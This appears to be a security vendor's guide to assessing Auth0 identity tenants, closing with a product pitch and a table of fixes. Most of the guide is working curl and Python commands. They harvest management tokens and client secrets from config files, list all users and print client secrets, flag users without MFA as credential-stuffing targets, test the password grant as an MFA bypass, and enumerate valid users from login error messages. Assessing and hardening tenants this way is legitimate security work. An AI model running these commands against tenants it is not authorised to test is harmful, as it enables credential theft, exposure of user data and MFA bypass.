Auth0 is a widely deployed identity-as-a-service platform powering authentication for millions of applications. Its security model is built around Management API tokens โ M2M credentials that grant administrative access to user data, application configurations, and tenant settings. These tokens are frequently exposed in application logs, deployment artifacts, and environment variable dumps. The /api/v2/users endpoint returns complete user profiles including linked social accounts. Client secrets for regular web applications are stored in backend configs and grant the ability to obtain tokens on behalf of any user via the password grant. Tenant misconfiguration โ particularly permissive CORS, unvalidated redirect URIs, and disabled MFA policies โ creates additional attack paths. This guide covers systematic Auth0 tenant assessment.
Auth0 Management API tokens are long-lived M2M credentials scoped to specific API permissions. A token with read:users and read:clients grants read access to all user accounts and application client secrets in the tenant.
# Auth0 Management API โ validate token and get tenant info
AUTH0_DOMAIN="https://your-tenant.auth0.com"
MGMT_TOKEN="your_management_api_token"
# Get tenant info and verify token
curl -s -H "Authorization: Bearer ${MGMT_TOKEN}" \
"${AUTH0_DOMAIN}/api/v2/tenants/settings" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Tenant: {d.get("friendly_name")}')
print(f'Domain: {d.get("domain")}')
print(f'MFA policy: {d.get("mfa",{}).get("active")}')
print(f'CORS origins: {d.get("allowed_origins")}')
print(f'OIDC logout: {d.get("oidc_logout",{}).get("rp_initiated")}')
"
# Search for Management API tokens in common locations
grep -rE 'AUTH0_MGMT|AUTH0_MANAGEMENT|management_token|mgmt_token' \
.env* *.yml *.yaml config/ 2>/dev/null
# Check if client_credentials grant is used to obtain management tokens
# M2M apps often have their client_id/secret in env files
grep -rE 'AUTH0_CLIENT_SECRET|AUTH0_CLIENT_ID' .env* 2>/dev/null | head -20
# Obtain management token from exposed client credentials
CLIENT_ID="your_m2m_client_id"
CLIENT_SECRET="your_m2m_client_secret"
curl -s -X POST "${AUTH0_DOMAIN}/oauth/token" \
-H "Content-Type: application/json" \
-d "{"grant_type":"client_credentials","client_id":"${CLIENT_ID}","client_secret":"${CLIENT_SECRET}","audience":"${AUTH0_DOMAIN}/api/v2/"}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Management token: {d.get("access_token","FAILED")}')
print(f'Expires in: {d.get("expires_in")} seconds')
print(f'Scope: {d.get("scope")}')
"
AUTH0_CLIENT_SECRET exposure.
The Management API /api/v2/users endpoint returns complete user profiles. With appropriate token scope, all registered OAuth2 clients and their configurations โ including redirect URIs and grant types โ are also enumerable.
# Enumerate all users in Auth0 tenant
curl -s -H "Authorization: Bearer ${MGMT_TOKEN}" \
"${AUTH0_DOMAIN}/api/v2/users?per_page=100&include_totals=true" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get("total")}')
for u in d.get('users',[])[:20]:
idents = u.get('identities',[])
providers = [i.get('provider') for i in idents]
print(f' {u.get("email")} | logins={u.get("logins_count")} | mfa={u.get("multifactor")} | providers={providers}')
print(f' last_login={u.get("last_login")} | created={u.get("created_at")}')
"
# Enumerate all OAuth2 clients (applications)
curl -s -H "Authorization: Bearer ${MGMT_TOKEN}" \
"${AUTH0_DOMAIN}/api/v2/clients?fields=client_id,client_secret,name,app_type,grant_types,callbacks,allowed_origins&per_page=100" | python3 -c "
import json,sys
clients=json.load(sys.stdin)
print(f'OAuth2 clients: {len(clients)}')
for c in clients:
print(f' [{c.get("client_id")}] {c.get("name")} | type={c.get("app_type")}')
print(f' grants={c.get("grant_types")} | callbacks={c.get("callbacks")}')
if c.get('client_secret'):
print(f' CLIENT SECRET: {c["client_secret"]}')
"
# Find users without MFA (targets for credential stuffing)
curl -s -H "Authorization: Bearer ${MGMT_TOKEN}" \
"${AUTH0_DOMAIN}/api/v2/users?q=NOT+_exists_:multifactor&search_engine=v3&per_page=50" | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d, list) else d.get('users',[])
print(f'Users without MFA: {len(users)}')
for u in users[:10]:
print(f' {u.get("email")} | logins={u.get("logins_count")}')
"
Auth0 applications configured with the Resource Owner Password Credentials (ROPC) grant allow direct username/password authentication without redirecting through the browser โ bypassing browser-based MFA flows. Overly permissive redirect URIs enable authorization code theft.
# Test Resource Owner Password Grant (bypasses browser MFA)
CLIENT_ID="web_app_client_id"
CLIENT_SECRET="web_app_client_secret"
curl -s -X POST "${AUTH0_DOMAIN}/oauth/token" \
-H "Content-Type: application/json" \
-d "{
"grant_type": "password",
"client_id": "${CLIENT_ID}",
"client_secret": "${CLIENT_SECRET}",
"username": "user@company.com",
"password": "Password123!",
"scope": "openid profile email",
"audience": "https://api.company.com"
}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
print('PASSWORD GRANT SUCCEEDED โ MFA bypassed!')
print(f'Access token: {d["access_token"][:60]}...')
elif d.get('error') == 'mfa_required':
print(f'MFA required โ but MFA token available: {d.get("mfa_token")}')
print('Try /oauth/token with grant_type=http://auth0.com/oauth/grant-type/mfa-otp')
else:
print(f'Failed: {d.get("error")}: {d.get("error_description")}')
"
# Test wildcard redirect URI (allows code theft to any subdomain)
# Check if callback allows *.attacker.com pattern
curl -s -H "Authorization: Bearer ${MGMT_TOKEN}" \
"${AUTH0_DOMAIN}/api/v2/clients?fields=name,callbacks" | python3 -c "
import json,sys
clients=json.load(sys.stdin)
for c in clients:
for cb in c.get('callbacks',[]):
if '*' in cb or 'localhost' in cb:
print(f' RISKY CALLBACK in {c["name"]}: {cb}')
"
# User enumeration via error message differences
for EMAIL in admin@company.com nonexistent@company.com; do
RESP=$(curl -s -X POST "${AUTH0_DOMAIN}/oauth/token" \
-d "grant_type=password&client_id=${CLIENT_ID}&username=${EMAIL}&password=wrongpassword")
echo "${EMAIL}: $(echo $RESP | python3 -c 'import json,sys; d=json.load(sys.stdin); print(d.get("error_description","")[:80])')"
done
Ironimo can assess your Auth0 tenant for Management API token exposure, OAuth2 misconfiguration, password grant MFA bypass, and client secret leakage โ covering the identity attack surface that manual reviews miss.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| Management API token scope | Often over-provisioned | Grant minimum scopes needed; separate read-only tokens from write tokens; rotate every 30 days |
| Password grant (ROPC) | Enabled by default on web apps | Disable ROPC grant; use authorization code + PKCE for all user-facing flows |
| Wildcard redirect URIs | Sometimes set to localhost or * | Enumerate exact redirect URIs; reject wildcard patterns; validate redirect_uri server-side |
| MFA not enforced | Optional by default | Enable MFA policy for all users; use Auth0 Actions to enforce MFA on sensitive scopes |
| Client secret in .env | Required for confidential clients | Use secret manager (Vault, AWS Secrets Manager); rotate secrets after any exposure |
| User enumeration via errors | Different error for unknown vs wrong password | Enable 'Customize Login Page' with generic error messages; enable attack protection |